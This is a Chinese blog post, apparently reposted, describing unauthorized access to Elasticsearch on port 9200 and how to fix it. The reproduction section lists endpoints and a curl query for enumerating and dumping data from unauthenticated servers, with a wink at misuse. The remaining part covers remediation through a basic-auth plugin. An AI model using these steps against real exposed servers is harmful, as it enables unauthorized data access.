微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

ElasticSearch 未授权访问记录端口:9200

基本语法参考

elasticsearch的基本用法_feelManc的技术博客_51CTO博客

漏洞描述

Elasticsearch是一款java编写的企业级搜索服务。越来越多的公司使用ELK作为日志分析,启动此服务认会开放9200端口或者9300端口,可被非法操作数据

ES未授权访问漏洞复现利用

http://localhost:9200/_cat/indices
http://localhost:9200/_river/_search //查看数据库敏感信息
http://localhost:9200/_nodes         //查看节点数据
如有安装head插件:
http://localhost:9200/_plugin/head/  //web管理界面

首先找有多少数据库(其实是index,这里类比为数据库)

http://xxxx:9200/_cat/indices?v

然后找数据库中有多少数据表(其实是type,类比为数据表) // 数据表中mapping下一级目录,除了 __default__ 都是 type

http://xxxxxx:9200/_mapping?pretty=true

查看具体数据

http://xxxx:9200/Index/Type/Id

认值返回10条数据,需要则修改 size // 未测试,因为数据,一般十条就够干很多事情了 :)

 
$ curl 'localhost:9200/accounts/person/_search'  -d '
{
  "query" : { "match" : { "desc" : "管理" }},
  "size": 1
}'

除了查看数据资源,还存在低版本命令执行

修复方案

1、限制IP访问、对网站数据造成影响
2、在config/elasticsearch.yml中为9200端口设置认证

安装认证插件

cd /usr/share/elasticsearch/plugins/http-basic  //es插件目录下
wget  https://github.com/Asquera/elasticsearch-http-basic/releases/download/v1.1.0/elasticsearch-http-basic-1.1.0.jar  //下载es认证插件

 

添加账号密码

http.basic.enabled: true
http.basic.log: false                  
http.basic.user: "loguser"          
http.basic.password: "logpwd"  
http.basic.ipwhitelist: ["172.16.18.171","172.16.18.114"]   
http.basic.xforward: "X-Forwarded-For"
http.basic.trusted_proxy_chains: ["172.16.18.114"]
配置名 认值 说明
http.basic.enabled true 开关,开启会接管全部HTTP连接
http.basic.user "loguser" 账号
http.basic.password "logpwd" 密码
http.basic.ipwhitelist ["172.16.18.171","172.16.18.114"] 白名单内的ip访问不需要通过账号和密码,支持ip和主机名,不支持ip区间或正则
http.basic.trusted_proxy_chains ["172.16.18.114"] 信任代理列表
http.basic.log false 把无授权的访问事件添加到ES的日志
http.basic.xforward "X-Forwarded-For" 记载代理路径的header字段名

原文地址:https://www.jb51.cc/wenti/3283965.html

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐